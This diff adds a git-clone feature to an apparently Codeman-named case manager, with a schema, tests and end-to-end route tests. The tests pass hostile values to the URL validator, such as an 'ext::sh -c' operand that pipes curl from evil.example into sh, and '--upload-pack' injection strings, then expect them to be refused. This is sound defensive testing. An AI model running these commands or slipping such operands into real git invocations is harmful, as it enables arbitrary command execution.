app.get('/api/remote-hosts', async (req) =>
+25
View File
@@ -366,6 +366,31 @@ export const CreateCaseSchema = z.object({
description: z.string().max(1000).optional(),
});
/**
* Schema for POST /api/cases/clone — issue #236.
*
* `repository` is only length-bounded here on purpose: what makes an operand safe
* is the transport/shape analysis in `parseGitRepositoryUrl` (which also produces
* the user-facing rejection reason), and duplicating a weaker version of that as a
* regex would be the copy that drifts. The route parses before touching git.
*/
export const CloneCaseSchema = z.object({
name: z
.string()
.regex(/^[a-zA-Z0-9_-]+$/, 'Invalid case name format. Use only letters, numbers, hyphens, underscores.'),
repository: z.string().min(1).max(2048),
/** Branch or tag → `--branch <ref> --single-branch`. */
ref: z.string().min(1).max(200).optional(),
/** `--depth 1`. */
shallow: z.boolean().optional(),
description: z.string().max(1000).optional(),
});
/** Schema for POST /api/cases/clone-preflight — ask the remote what it has, clone nothing. */
export const ClonePreflightSchema = z.object({
repository: z.string().min(1).max(2048),
});
const RemoteCommandOverridesSchema = z
.object({
shell: z.string().min(1).max(300).optional(),
+5
View File
@@ -1339,6 +1339,7 @@ export class WebServer extends EventEmitter {
{ isGeminiAvailable },
{ isAntigravityAvailable },
{ isCloudflaredAvailable },
{ isGitAvailable },
] = await Promise.all([
import('../utils/claude-cli-resolver.js'),
import('../utils/opencode-cli-resolver.js'),
@@ -1346,6 +1347,7 @@ export class WebServer extends EventEmitter {
import('../utils/gemini-cli-resolver.js'),
import('../utils/antigravity-cli-resolver.js'),
import('../utils/cloudflared-resolver.js'),
import('../git-clone.js'),
]);
const available = {
claude: isClaudeAvailable(),
@@ -1354,6 +1356,9 @@ export class WebServer extends EventEmitter {
gemini: isGeminiAvailable(),
antigravity: isAntigravityAvailable(),
cloudflared: isCloudflaredAvailable(),
// Not a run mode: the Add Case → Clone tab is an offer this box cannot
// keep without git (issue #236), same reasoning as cloudflared above.
git: isGitAvailable(),
};
html = html.replace(
'</head>',
+429
View File
@@ -0,0 +1,429 @@
/**
* @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
*
* Two halves, mirroring the module:
*
* 1. The PURE half — URL parsing (where the security decisions live), argv/env
* construction, `ls-remote` parsing and stderr classification. No spawning.
* 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
* the argv, the failure classification and the cleanup-on-failure path are all
* proven against git's actual behavior rather than a mock's idea of it. These
* skip themselves when git is unavailable (never silently pass: the pure
* assertions above still run).
*
* Port: N/A (no server).
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { execFileSync } from 'node:child_process';
import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
buildCloneArgs,
buildLsRemoteArgs,
classifyGitFailure,
cloneRepository,
getActiveGitOperationCount,
gitNonInteractiveEnv,
isGitAvailable,
isSafeGitRef,
parseGitRepositoryUrl,
parseLsRemoteOutput,
probeGitRemote,
sanitizeGitOutput,
suggestCaseNameFromRepo,
} from '../src/git-clone.js';
/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
function accepted(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
return parsed;
}
/** Narrow a parse result to the rejected branch. */
function rejected(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
return parsed;
}
describe('parseGitRepositoryUrl', () => {
it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
const parsed = accepted('https://github.com/Ark0N/Codeman.git');
expect(parsed.transport).toBe('https');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('Ark0N');
expect(parsed.repo).toBe('Codeman');
expect(parsed.provider).toBe('GitHub');
expect(parsed.suggestedName).toBe('Codeman');
expect(parsed.warnings).toEqual([]);
});
it('accepts nested owner paths and a missing .git suffix', () => {
const parsed = accepted('https://gitlab.com/group/subgroup/project');
expect(parsed.owner).toBe('group/subgroup');
expect(parsed.repo).toBe('project');
expect(parsed.provider).toBe('GitLab');
});
it('accepts the scp-like SSH form', () => {
const parsed = accepted('git@github.com:owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('owner');
expect(parsed.repo).toBe('repo');
// The advisory exists because an unconfigured key fails rather than prompts.
expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
});
it('accepts ssh:// with a port', () => {
const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('git.example.com:2222');
expect(parsed.repo).toBe('repo');
});
it('warns but accepts plain http and git://', () => {
expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
});
it('accepts an absolute local path and file:// as a local clone', () => {
expect(accepted('/srv/repos/thing.git').transport).toBe('local');
expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
expect(accepted('file:///srv/repos/thing').transport).toBe('local');
});
// ── The refusals that matter ──────────────────────────────────────────────
it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
// Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
});
it('REFUSES an option-shaped operand', () => {
expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
});
it('REFUSES a URL carrying a password', () => {
expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
});
it('REFUSES unsupported schemes', () => {
expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
});
it('REFUSES control characters and over-long input', () => {
expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
});
it('REFUSES relative and ~ paths, and empty input', () => {
expect(rejected('./repo').code).toBe('BAD_SYNTAX');
expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
expect(rejected(' ').code).toBe('EMPTY');
expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
});
it('REFUSES a URL with no repository name', () => {
expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
});
});
describe('suggestCaseNameFromRepo', () => {
it('produces names the case-name validator accepts', () => {
expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
const suggested = suggestCaseNameFromRepo(input);
if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
}
});
it('returns empty rather than inventing a name when nothing survives', () => {
expect(suggestCaseNameFromRepo('...')).toBe('');
expect(suggestCaseNameFromRepo('')).toBe('');
});
});
describe('isSafeGitRef', () => {
it('accepts real branch and tag names', () => {
for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
expect(isSafeGitRef(ref)).toBe(true);
}
});
it('rejects flags, traversal and revision syntax', () => {
for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
expect(isSafeGitRef(ref)).toBe(false);
}
});
});
describe('buildCloneArgs / buildLsRemoteArgs', () => {
it('always separates operands with --', () => {
const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
// The operands must sit AFTER the separator, always.
expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
'ls-remote',
'--symref',
'--',
'https://example.com/r.git',
]);
});
it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
'clone',
'--single-branch',
'--branch',
'v1',
'--depth',
'1',
'--',
'r',
'd',
]);
});
});
describe('gitNonInteractiveEnv', () => {
it('closes every interactive path that could hang an open request', () => {
const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
expect(env.GIT_TERMINAL_PROMPT).toBe('0');
expect(env.GIT_ASKPASS).toBe('');
expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
expect(env.DISPLAY).toBe('');
expect(env.GCM_INTERACTIVE).toBe('never');
expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
// HOME/PATH are inherited on purpose: a working ssh agent keeps working.
expect(env.HOME).toBe('/home/x');
expect(env.PATH).toBe('/usr/bin');
});
it("does not override a user's own GIT_SSH_COMMAND", () => {
expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
});
});
describe('parseLsRemoteOutput', () => {
it('extracts the default branch, branches and tags, dropping peeled tags', () => {
const parsed = parseLsRemoteOutput(
[
'ref: refs/heads/master\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
'498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
'085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
'',
].join('\n')
);
expect(parsed.defaultBranch).toBe('master');
expect(parsed.branches).toEqual(['master', 'feat/x']);
expect(parsed.tags).toEqual(['v1.0.0']);
expect(parsed.truncated).toBe(false);
});
it('survives a remote with no HEAD symref', () => {
const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
expect(parsed.defaultBranch).toBeUndefined();
expect(parsed.branches).toEqual(['main']);
});
});
describe('classifyGitFailure', () => {
it('reports a missing git binary', () => {
expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
});
it('reports a timeout before looking at stderr', () => {
expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
});
it('recognizes the authentication wall in its several dialects', () => {
for (const stderr of [
"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
'remote: Invalid username or password.',
'git@github.com: Permission denied (publickey).',
]) {
expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
}
});
it('says "not found OR private" rather than just "not found"', () => {
const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
expect(failure.code).toBe('NOT_FOUND');
expect(failure.message).toMatch(/private/i);
});
it('recognizes a missing ref and an unreachable host', () => {
expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
'REF_NOT_FOUND'
);
expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
'HOST_UNREACHABLE'
);
});
});
describe('sanitizeGitOutput', () => {
it('redacts credentials a helper may have echoed back', () => {
expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
"fatal: unable to access 'https://***:***@github.com/x.git/'"
);
});
it('strips control bytes and keeps the TAIL when over budget', () => {
expect(sanitizeGitOutput('abc')).toBe('ab[31mc');
const long = sanitizeGitOutput(`${'x'.repeat(50)}THE-END`, 10);
expect(long.startsWith('…')).toBe(true);
expect(long.endsWith('THE-END')).toBe(true);
});
});
// ─── Real git, real local repository ─────────────────────────────────────────
const gitPresent = isGitAvailable();
describe.skipIf(!gitPresent)('cloneRepository / probeGitRemote (real git)', () => {
let root: string;
let origin: string;
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-test-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
git(['add', 'README.md'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['checkout', '--quiet', '-b', 'side'], work);
writeFileSync(join(work, 'SIDE.md'), 'side\n');
git(['add', 'SIDE.md'], work);
git(['commit', '--quiet', '-m', 'side'], work);
git(['checkout', '--quiet', 'main'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', 'side', '--tags'], work);
// Give the bare repo a HEAD that resolves, so --symref has something to say.
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
});
it('probes a reachable remote for its default branch, branches and tags', async () => {
const probe = await probeGitRemote(origin);
expect(probe.reachable).toBe(true);
expect(probe.defaultBranch).toBe('main');
expect(probe.branches.sort()).toEqual(['main', 'side']);
expect(probe.tags).toEqual(['v1']);
});
it('reports an unreachable remote as a normal answer, not a throw', async () => {
const probe = await probeGitRemote(join(root, 'does-not-exist.git'));
expect(probe.reachable).toBe(false);
expect(probe.failure?.code).toBe('NOT_FOUND');
expect(probe.branches).toEqual([]);
});
it('clones into a fresh destination', async () => {
const dest = join(root, 'clone-plain');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, '.git'))).toBe(true);
});
it('clones a single branch when a ref is given', async () => {
const dest = join(root, 'clone-side');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'side' });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(true);
});
it('clones a tag, shallow', async () => {
const dest = join(root, 'clone-tag');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'v1', shallow: true });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(false);
});
it('removes the destination it created when the clone fails', async () => {
const dest = join(root, 'clone-bad-ref');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'no-such-branch' });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('REF_NOT_FOUND');
// The half-written tree must not survive as a phantom case directory.
expect(existsSync(dest)).toBe(false);
});
it('refuses a destination that already exists instead of cloning into it', async () => {
const dest = join(root, 'occupied');
mkdirSync(dest);
writeFileSync(join(dest, 'keep.txt'), 'precious\n');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('DESTINATION_EXISTS');
// And the pre-existing directory is left completely alone.
expect(existsSync(join(dest, 'keep.txt'))).toBe(true);
});
it('rejects an unsafe ref without spawning git', async () => {
const result = await cloneRepository({
repository: origin,
destination: join(root, 'never'),
ref: '--upload-pack=x',
});
expect(result.ok).toBe(false);
expect(existsSync(join(root, 'never'))).toBe(false);
});
it('releases every concurrency slot it took', async () => {
await Promise.all([probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin)]);
// A leaked slot would eventually wedge every future clone behind a full pool.
expect(getActiveGitOperationCount()).toBe(0);
});
it('times out instead of hanging forever', async () => {
// 1ms budget: git cannot finish, so the SIGTERM/SIGKILL escalation is what ends it.
const result = await cloneRepository({
repository: origin,
destination: join(root, 'clone-timeout'),
timeoutMs: 1,
});
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('TIMEOUT');
expect(existsSync(join(root, 'clone-timeout'))).toBe(false);
});
});
describe('isGitAvailable', () => {
it('answers consistently (memoized)', () => {
expect(isGitAvailable()).toBe(gitPresent);
expect(isGitAvailable()).toBe(gitPresent);
});
});
+8
View File
@@ -18,6 +18,7 @@ import { isCodexAvailable } from '../src/utils/codex-cli-resolver.js';
import { isGeminiAvailable } from '../src/utils/gemini-cli-resolver.js';
import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js';
import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
import { isGitAvailable } from '../src/git-clone.js';
// renderIndexHtml probes the real PATH for every CLI, which would make the
// assertions below depend on whatever happens to be installed on the machine
@@ -46,6 +47,10 @@ vi.mock('../src/utils/cloudflared-resolver.js', () => ({
isCloudflaredAvailable: vi.fn(() => false),
resolveCloudflaredPath: vi.fn(() => null),
}));
// git gates the Add Case -> Clone Repo tab (#236), so it rides in the same object.
vi.mock('../src/git-clone.js', () => ({
isGitAvailable: vi.fn(() => false),
}));
const TEMPLATE = [
'<head>',
@@ -127,6 +132,7 @@ describe('WebServer.renderIndexHtml', () => {
vi.mocked(isGeminiAvailable).mockReturnValue(false);
vi.mocked(isAntigravityAvailable).mockReturnValue(false);
vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
vi.mocked(isGitAvailable).mockReturnValue(true);
const { server } = makeServer({});
const html = await render(server);
const flags = JSON.parse(html.match(/window\.__codemanCliAvailable=(\{.*?\});/)![1]);
@@ -139,6 +145,7 @@ describe('WebServer.renderIndexHtml', () => {
gemini: false,
antigravity: false,
cloudflared: true,
git: true,
});
});
@@ -152,6 +159,7 @@ describe('WebServer.renderIndexHtml', () => {
isGeminiAvailable,
isAntigravityAvailable,
isCloudflaredAvailable,
isGitAvailable,
]) {
vi.mocked(probe).mockReturnValue(false);
}
+260
View File
@@ -0,0 +1,260 @@
/**
* @fileoverview End-to-end tests for POST /api/cases/clone and
* /api/cases/clone-preflight (issue #236).
*
* Deliberately runs against a REAL filesystem and a REAL `git` cloning a REAL
* local bare repo, unlike its sibling `case-routes.test.ts` which mocks `node:fs`
* wholesale. Mocking here would only prove the handler calls functions in the
* order the test expects; what actually needs proving is that a clone lands a
* working tree in the case directory, that scaffolding does not overwrite the
* repository's own files, and that a rejected URL never reaches git.
*
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
* inside the fixture and nothing touches the developer's real ~/codeman-cases.
*
* Port: N/A (app.inject).
*/
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { execFileSync } from 'node:child_process';
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
import { isGitAvailable } from '../../src/git-clone.js';
const CASES_DIR = join(homedir(), 'codeman-cases');
const gitPresent = isGitAvailable();
let app: FastifyInstance;
let ctx: MockRouteContext;
async function buildApp(): Promise<void> {
app = Fastify({ logger: false });
await app.register(fastifyCookie);
// Mirror the production preSerialization envelope hook so error codes map to
// their conventional HTTP status (copied from server.ts, as in case-routes.test.ts).
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
if (!req.url.startsWith('/api')) return done(null, payload);
if (payload === null || typeof payload !== 'object') return done(null, payload);
const p = payload as { success?: unknown; errorCode?: unknown };
if (p.success === false) {
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
}
return done(null, payload);
}
if (p.success === true) return done(null, payload);
return done(null, { success: true, data: payload });
});
ctx = createMockRouteContext();
registerCaseRoutes(app, ctx as never);
installRouteErrorHandler(app);
await app.ready();
}
const clone = (payload: Record<string, unknown>) => app.inject({ method: 'POST', url: '/api/cases/clone', payload });
const preflight = (repository: unknown) =>
app.inject({ method: 'POST', url: '/api/cases/clone-preflight', payload: { repository } });
describe('POST /api/cases/clone-preflight', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('answers 200 with the rejection reason for an ext:: URL (never probes it)', async () => {
const res = await preflight('ext::sh -c "id > /tmp/pwned"');
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.parse.cloneable).toBe(false);
expect(body.data.parse.code).toBe('TRANSPORT_HELPER');
expect(body.data.remote).toBeUndefined();
});
it('returns the parsed owner/repo and a case-name suggestion for a valid URL', async () => {
const res = await preflight('https://github.com/owner/My.Repo.git');
const body = JSON.parse(res.body);
expect(body.data.parse.cloneable).toBe(true);
expect(body.data.parse.owner).toBe('owner');
expect(body.data.parse.repo).toBe('My.Repo');
expect(body.data.parse.suggestedName).toBe('My-Repo');
});
it('validates the body', async () => {
expect((await preflight('')).statusCode).toBe(400);
expect((await preflight(undefined)).statusCode).toBe(400);
});
});
describe('POST /api/cases/clone — input rejection', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('refuses a transport helper before touching git', async () => {
const res = await clone({ name: 'pwned', repository: 'ext::sh -c "touch /tmp/codeman-pwned"' });
expect(res.statusCode).toBe(400);
const body = JSON.parse(res.body);
expect(body.errorCode).toBe(ApiErrorCode.INVALID_INPUT);
expect(body.error).toMatch(/ext::/);
expect(existsSync(join(CASES_DIR, 'pwned'))).toBe(false);
});
it('refuses an option-shaped repository', async () => {
const res = await clone({ name: 'opt', repository: '--upload-pack=touch /tmp/x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/may not start with/);
});
it('refuses a URL with embedded credentials', async () => {
const res = await clone({ name: 'creds', repository: 'https://u:token@github.com/o/r.git' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/never accepts or stores/i);
});
it('refuses an unsafe ref', async () => {
const res = await clone({ name: 'ref', repository: 'https://github.com/o/r.git', ref: '--upload-pack=x' });
expect(res.statusCode).toBe(400);
expect(JSON.parse(res.body).error).toMatch(/branch or tag/i);
});
it('rejects an invalid case name via the schema', async () => {
const res = await clone({ name: '../escape', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(400);
});
it('rejects a name that collides with an existing case before cloning', async () => {
mkdirSync(join(CASES_DIR, 'taken'), { recursive: true });
try {
const res = await clone({ name: 'taken', repository: 'https://github.com/o/r.git' });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
expect(JSON.parse(res.body).error).toMatch(/already exists/i);
} finally {
rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
}
});
});
describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
let root: string;
let origin: string;
const created: string[] = [];
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-route-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
// The repo ships BOTH files the scaffolder would otherwise write.
writeFileSync(join(work, 'CLAUDE.md'), '# repository-owned CLAUDE.md\n');
mkdirSync(join(work, '.claude'));
writeFileSync(join(work, '.claude', 'settings.json'), '{"permissions":{}}\n');
git(['add', '.'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', '--tags'], work);
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
});
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('clones into the case directory and broadcasts case:created', async () => {
created.push('cloned-case');
const res = await clone({ name: 'cloned-case', repository: origin });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.case).toEqual({ name: 'cloned-case', path: join(CASES_DIR, 'cloned-case') });
expect(existsSync(join(CASES_DIR, 'cloned-case', 'README.md'))).toBe(true);
expect(existsSync(join(CASES_DIR, 'cloned-case', '.git'))).toBe(true);
expect(ctx.broadcast).toHaveBeenCalledWith('case:created', {
name: 'cloned-case',
path: join(CASES_DIR, 'cloned-case'),
});
});
it("keeps the repository's own CLAUDE.md and warns about repo-supplied .claude settings", async () => {
created.push('keeps-files');
const res = await clone({ name: 'keeps-files', repository: origin });
const body = JSON.parse(res.body);
expect(readFileSync(join(CASES_DIR, 'keeps-files', 'CLAUDE.md'), 'utf-8')).toBe('# repository-owned CLAUDE.md\n');
expect(body.data.warnings.join(' ')).toMatch(/Kept the repository/);
// Repo-shipped hooks run on this machine: the response has to say so.
expect(body.data.warnings.join(' ')).toMatch(/ships its own \.claude/);
});
it('installs Codeman hooks alongside whatever the repo shipped', async () => {
created.push('hooked');
await clone({ name: 'hooked', repository: origin });
const settingsPath = join(CASES_DIR, 'hooked', '.claude', 'settings.local.json');
expect(existsSync(settingsPath)).toBe(true);
expect(JSON.parse(readFileSync(settingsPath, 'utf-8')).hooks).toBeTruthy();
// The repo's own settings.json is untouched.
expect(readFileSync(join(CASES_DIR, 'hooked', '.claude', 'settings.json'), 'utf-8')).toBe('{"permissions":{}}\n');
});
it('honors a ref and reports it back', async () => {
created.push('at-tag');
const res = await clone({ name: 'at-tag', repository: origin, ref: 'v1', shallow: true });
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.data.ref).toBe('v1');
expect(existsSync(join(CASES_DIR, 'at-tag', 'README.md'))).toBe(true);
});
it('leaves no case directory behind when the clone fails', async () => {
const res = await clone({ name: 'ghost-case', repository: join(root, 'no-such-repo.git') });
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.NOT_FOUND));
expect(JSON.parse(res.body).error).toMatch(/not found/i);
// A leftover empty directory would occupy the name forever.
expect(existsSync(join(CASES_DIR, 'ghost-case'))).toBe(false);
});
it('reports a missing ref as invalid input, not a server error', async () => {
const res = await clone({ name: 'bad-ref-case', repository: origin, ref: 'no-such-branch' });
expect(res.statusCode).toBe(400);
expect(existsSync(join(CASES_DIR, 'bad-ref-case'))).toBe(false);
// git's FIRST stderr line is "Cloning into '<dest>'..." — quoting that as the
// reason told the user the destination path when the ref was the problem.
const error = JSON.parse(res.body).error as string;
expect(error).not.toMatch(/Cloning into/);
expect(error).toMatch(/branch or tag/i);
});
it('preflights the local fixture for its branches and tags', async () => {
const res = await preflight(origin);
const body = JSON.parse(res.body);
expect(body.data.parse.transport).toBe('local');
expect(body.data.remote.reachable).toBe(true);
expect(body.data.remote.defaultBranch).toBe('main');
expect(body.data.remote.tags).toEqual(['v1']);
});
});